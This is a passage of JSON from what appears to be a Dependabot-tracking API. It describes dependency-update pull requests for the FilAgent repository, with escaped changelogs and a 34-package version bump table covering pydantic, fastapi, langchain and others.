href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1865\"\u003epydantic/pydantic-core#1865\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.41.4...v2.41.5\"\u003ehttps://github.com/pydantic/pydantic-core/compare/v2.41.4...v2.41.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.41.4\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ev2.41.3\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ev2.41.2 2025-10-13\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePopulate field name for validation of default value by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1826\"\u003epydantic/pydantic-core#1826\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild PyPy manylinux wheels for x86_64 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1831\"\u003epydantic/pydantic-core#1831\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: encode credentials in MultiHostUrl builder by \u003ca href=\"https://github.com/willswire\"\u003e\u003ccode\u003e@​willswire\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1829\"\u003epydantic/pydantic-core#1829\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePopulate \u003ccode\u003efield_name\u003c/code\u003e in \u003ccode\u003eInternalValidator\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1834\"\u003epydantic/pydantic-core#1834\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erespect \u003ccode\u003efield_serializer\u003c/code\u003e when using \u003ccode\u003eserialize_as_any=True\u003c/code\u003e by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1835\"\u003epydantic/pydantic-core#1835\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: PGO-optimize linux aarch64, restore builds for windows aarch64 by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1837\"\u003epydantic/pydantic-core#1837\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix various \u003ccode\u003eRootModel\u003c/code\u003e serialization issues by \u003ca href=\"https://github.com/davidhewitt\"\u003e\u003ccode\u003e@​davidhewitt\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1836\"\u003epydantic/pydantic-core#1836\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/willswire\"\u003e\u003ccode\u003e@​willswire\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1829\"\u003epydantic/pydantic-core#1829\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.41.1...v2.41.2\"\u003ehttps://github.com/pydantic/pydantic-core/compare/v2.41.1...v2.41.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.41.1 2025-10-06\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003eurl_preserve_empty_path\u003c/code\u003e entry to \u003ccode\u003eCoreConfig\u003c/code\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/pull/1823\"\u003epydantic/pydantic-core#1823\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.41.0...v2.41.1\"\u003ehttps://github.com/pydantic/pydantic-core/compare/v2.41.0...v2.41.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.41.0 2025-10-06\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/52b821dfc304b061b3c2d528f91011229d25f0a1\"\u003e\u003ccode\u003e52b821d\u003c/code\u003e\u003c/a\u003e release: 2.41.5 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1883\"\u003e#1883\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/65d7c44b651ad15aad582f585842878b619aab8c\"\u003e\u003ccode\u003e65d7c44\u003c/code\u003e\u003c/a\u003e optimizations in URL implementation (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1833\"\u003e#1833\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/4d23017bf1d0dba0ef87b3c78cbc12eed53c0f9d\"\u003e\u003ccode\u003e4d23017\u003c/code\u003e\u003c/a\u003e revert url credential encoding (to be reintroduced as an option in future) (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/2e932c69631cee45fe62517acc72a8c926bcd5d1\"\u003e\u003ccode\u003e2e932c6\u003c/code\u003e\u003c/a\u003e add type inference for serializing ip address types (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1868\"\u003e#1868\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/4c9bec8af4b0e6a11317e792468d8bb7a0338ab7\"\u003e\u003ccode\u003e4c9bec8\u003c/code\u003e\u003c/a\u003e clean up GC traversal for some top-level types (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1870\"\u003e#1870\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/bed9c14b84efdbc017667ce495a6fcb1e9c161f4\"\u003e\u003ccode\u003ebed9c14\u003c/code\u003e\u003c/a\u003e fix issue with field_serializers on nested typed dicts (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1879\"\u003e#1879\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/20d576b5b7c337a5b6234d7d32ec0bc7d964c5cb\"\u003e\u003ccode\u003e20d576b\u003c/code\u003e\u003c/a\u003e address trivial fixme (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1880\"\u003e#1880\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/83133d6b04cc14cdb5476496cf09288444e0c474\"\u003e\u003ccode\u003e83133d6\u003c/code\u003e\u003c/a\u003e Bump astral-sh/setup-uv from 6 to 7 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1872\"\u003e#1872\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/fbf16d7b481554ef207122caa0229787c6b0868c\"\u003e\u003ccode\u003efbf16d7\u003c/code\u003e\u003c/a\u003e Bump percent-encoding from 2.3.1 to 2.3.2 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1876\"\u003e#1876\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pydantic/pydantic-core/commit/d25eda1f4f57d116254211975786a4bf0d7e5f74\"\u003e\u003ccode\u003ed25eda1\u003c/code\u003e\u003c/a\u003e Bump actions/setup-node from 5 to 6 (\u003ca href=\"https://redirect.github.com/pydantic/pydantic-core/issues/1871\"\u003e#1871\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pydantic/pydantic-core/compare/v2.33.2...v2.41.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pytest-subtests` from 0.14.2 to 0.15.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/blob/main/CHANGELOG.rst\"\u003epytest-subtests's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.15.0\u003c/h2\u003e\n\u003cp\u003e\u003cem\u003e2025-10-20\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded experimental \u003ccode\u003e--no-subtests-reports\u003c/code\u003e CLI option. This disables\nsubtests output unless it's a failed subtest. (\u003ccode\u003e[#198](https://github.com/pytest-dev/pytest-subtests/issues/198)\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e.. _\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/198\"\u003e#198\u003c/a\u003e: \u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/pull/198\"\u003epytest-dev/pytest-subtests#198\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/ff19523c499fcc0a04c999b6614dbfdc3e684629\"\u003e\u003ccode\u003eff19523\u003c/code\u003e\u003c/a\u003e Release 0.15.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a45e77d429a4d14197f23404704366550dc930a7\"\u003e\u003ccode\u003ea45e77d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/216\"\u003e#216\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/e7fa393a591b5b84f2b30257f2c927f80e84acc0\"\u003e\u003ccode\u003ee7fa393\u003c/code\u003e\u003c/a\u003e Bump hynek/build-and-inspect-python-package from 2.13 to 2.14 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/215\"\u003e#215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/3b10fb3dda480d72de13235cb572312562349d4d\"\u003e\u003ccode\u003e3b10fb3\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/214\"\u003e#214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a95a2be1ae2956305aae9ae0c51075d330796eb6\"\u003e\u003ccode\u003ea95a2be\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/213\"\u003e#213\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/7a4df7daf51200cc3269fe9ae3d0921150eca27e\"\u003e\u003ccode\u003e7a4df7d\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/212\"\u003e#212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/a6d84d7d54c082f66970afc358f9b3cb1be64615\"\u003e\u003ccode\u003ea6d84d7\u003c/code\u003e\u003c/a\u003e Bump actions/setup-python from 5 to 6 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/211\"\u003e#211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/d2d5220cd285e778f3cd5041a9c075b81abd71a2\"\u003e\u003ccode\u003ed2d5220\u003c/code\u003e\u003c/a\u003e Bump pypa/gh-action-pypi-publish in /.github/workflows (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/210\"\u003e#210\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/8ab123da0d45fe6b2f67539ab5c1d5a701e85742\"\u003e\u003ccode\u003e8ab123d\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 4 to 5 (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/208\"\u003e#208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pytest-dev/pytest-subtests/commit/edb553875d9c55efa20b40c178785e3a0e4c616a\"\u003e\u003ccode\u003eedb5538\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/pytest-dev/pytest-subtests/issues/207\"\u003e#207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pytest-dev/pytest-subtests/compare/v0.14.2...v0.15.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `referencing` from 0.36.2 to 0.37.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca hr...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/188","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/188","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/188/packages"}},{"old_version":"0.2.90","new_version":"0.3.16","update_type":"minor","path":null,"pr_created_at":"2025-11-14T15:43:56.000Z","version_change":"0.2.90 → 0.3.16","issue":{"uuid":"3626141180","node_id":"PR_kwDOQJdjYc6zfAfp","number":146,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 34 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-11-14T15:43:56.000Z","updated_at":"2025-11-24T16:13:11.662Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","group_name":"python-minor","update_count":34,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"fastapi","old_version":"0.104.1","new_version":"0.121.2","repository_url":"https://github.com/fastapi/fastapi"},{"name":"pandas","old_version":"2.1.3","new_version":"2.3.3","repository_url":"https://github.com/pandas-dev/pandas"},{"name":"prometheus-client","old_version":"0.19.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.4.2","new_version":"2.12.4","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pytest","old_version":"7.4.3","new_version":"7.4.4","repository_url":"https://github.com/pytest-dev/pytest"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"python-dotenv","old_version":"1.0.0","new_version":"1.2.1","repository_url":"https://github.com/theskumar/python-dotenv"},{"name":"pyyaml","old_version":"6.0.1","new_version":"6.0.3","repository_url":"https://github.com/yaml/pyyaml"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"requests","old_version":"2.31.0","new_version":"2.32.5","repository_url":"https://github.com/psf/requests"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"structlog","old_version":"23.2.0","new_version":"23.3.0","repository_url":"https://github.com/hynek/structlog"},{"name":"uvicorn","old_version":"0.30.6","new_version":"0.38.0","repository_url":"https://github.com/Kludex/uvicorn"},{"name":"uvicorn","old_version":"0.24.0","new_version":"0.38.0","repository_url":"https://github.com/Kludex/uvicorn"},{"name":"gradio","old_version":"4.7.1","new_version":"4.44.1","repository_url":"https://github.com/gradio-app/gradio"},{"name":"langchain","old_version":"0.2.16","new_version":"0.3.27","repository_url":"https://github.com/langchain-ai/langchain"},{"name":"langchain-community","old_version":"0.2.16","new_version":"0.4.1","repository_url":"https://github.com/langchain-ai/langchain"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"transformers","old_version":"4.35.2","new_version":"4.57.1","repository_url":"https://github.com/huggingface/transformers"},{"name":"sentence-transformers","old_version":"2.2.2","new_version":"2.7.0","repository_url":"https://github.com/huggingface/sentence-transformers"},{"name":"faiss-cpu","old_version":"1.7.4","new_version":"1.12.0","repository_url":"https://github.com/kyamagu/faiss-wheels"},{"name":"pynacl","old_version":"1.5.0","new_version":"1.6.1","repository_url":"https://github.com/pyca/pynacl"},{"name":"python-jose","old_version":"3.3.0","new_version":"3.5.0"},{"name":"sqlalchemy","old_version":"2.0.23","new_version":"2.0.44","repository_url":"https://github.com/sqlalchemy/sqlalchemy"},{"name":"sqlite-vec","old_version":"0.1.1","new_version":"0.1.6"},{"name":"chromadb","old_version":"0.4.18","new_version":"0.6.3","repository_url":"https://github.com/chroma-core/chroma"},{"name":"opentelemetry-api","old_version":"1.21.0","new_version":"1.38.0","repository_url":"https://github.com/open-telemetry/opentelemetry-python"},{"name":"opentelemetry-sdk","old_version":"1.21.0","new_version":"1.38.0","repository_url":"https://github.com/open-telemetry/opentelemetry-python"},{"name":"openpyxl","old_version":"3.1.2","new_version":"3.1.5"},{"name":"python-docx","old_version":"1.1.0","new_version":"1.2.0","repository_url":"https://github.com/python-openxml/python-docx"},{"name":"pytest-asyncio","old_version":"0.21.1","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"pytest-mock","old_version":"3.12.0","new_version":"3.15.1","repository_url":"https://github.com/pytest-dev/pytest-mock"},{"name":"python-multipart","old_version":"0.0.6","new_version":"0.0.20","repository_url":"https://github.com/Kludex/python-multipart"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 34 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.104.1` | `0.121.2` |\n| [pandas](https://github.com/pandas-dev/pandas) | `2.1.3` | `2.3.3` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.19.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.4.2` | `2.12.4` |\n| [pytest](https://github.com/pytest-dev/pytest) | `7.4.3` | `7.4.4` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [python-dotenv](https://github.com/theskumar/python-dotenv) | `1.0.0` | `1.2.1` |\n| [pyyaml](https://github.com/yaml/pyyaml) | `6.0.1` | `6.0.3` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [requests](https://github.com/psf/requests) | `2.31.0` | `2.32.5` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [structlog](https://github.com/hynek/structlog) | `23.2.0` | `23.3.0` |\n| [uvicorn](https://github.com/Kludex/uvicorn) | `0.30.6` | `0.38.0` |\n| [uvicorn[standard]](https://github.com/Kludex/uvicorn) | `0.24.0` | `0.38.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `4.7.1` | `4.44.1` |\n| [langchain](https://github.com/langchain-ai/langchain) | `0.2.16` | `0.3.27` |\n| [langchain-community](https://github.com/langchain-ai/langchain) | `0.2.16` | `0.4.1` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [transformers](https://github.com/huggingface/transformers) | `4.35.2` | `4.57.1` |\n| [sentence-transformers](https://github.com/huggingface/sentence-transformers) | `2.2.2` | `2.7.0` |\n| [faiss-cpu](https://github.com/kyamagu/faiss-wheels) | `1.7.4` | `1.12.0` |\n| [pynacl](https://github.com/pyca/pynacl) | `1.5.0` | `1.6.1` |\n| [python-jose[cryptography]](https://github.com/mpdavis/python-jose) | `3.3.0` | `3.5.0` |\n| [sqlalchemy](https://github.com/sqlalchemy/sqlalchemy) | `2.0.23` | `2.0.44` |\n| [sqlite-vec](https://TODO.com) | `0.1.1` | `0.1.6` |\n| [chromadb](https://github.com/chroma-core/chroma) | `0.4.18` | `0.6.3` |\n| [opentelemetry-api](https://github.com/open-telemetry/opentelemetry-python) | `1.21.0` | `1.38.0` |\n| [opentelemetry-sdk](https://github.com/open-telemetry/opentelemetry-python) | `1.21.0` | `1.38.0` |\n| [openpyxl](https://openpyxl.readthedocs.io) | `3.1.2` | `3.1.5` |\n| [python-docx](https://github.com/python-openxml/python-docx) | `1.1.0` | `1.2.0` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.21.1` | `0.26.0` |\n| [pytest-mock](https://github.com/pytest-dev/pytest-mock) | `3.12.0` | `3.15.1` |\n| [python-multipart](https://github.com/Kludex/python-multipart) | `0.0.6` | `0.0.20` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.104.1 to 0.121.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.121.2\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix handling of JSON Schema attributes named \u0026quot;$ref\u0026quot;. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14349\"\u003e#14349\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDocs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e📝 Add EuroPython talk \u0026amp; podcast episode with Sebastián Ramírez. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14260\"\u003e#14260\u003c/a\u003e by \u003ca href=\"https://github.com/clytaemnestra\"\u003e\u003ccode\u003e@​clytaemnestra\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e✏️ Fix links and add missing permalink in docs. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14217\"\u003e#14217\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTranslations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🌐 Update Portuguese translations with LLM prompt. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14228\"\u003e#14228\u003c/a\u003e by \u003ca 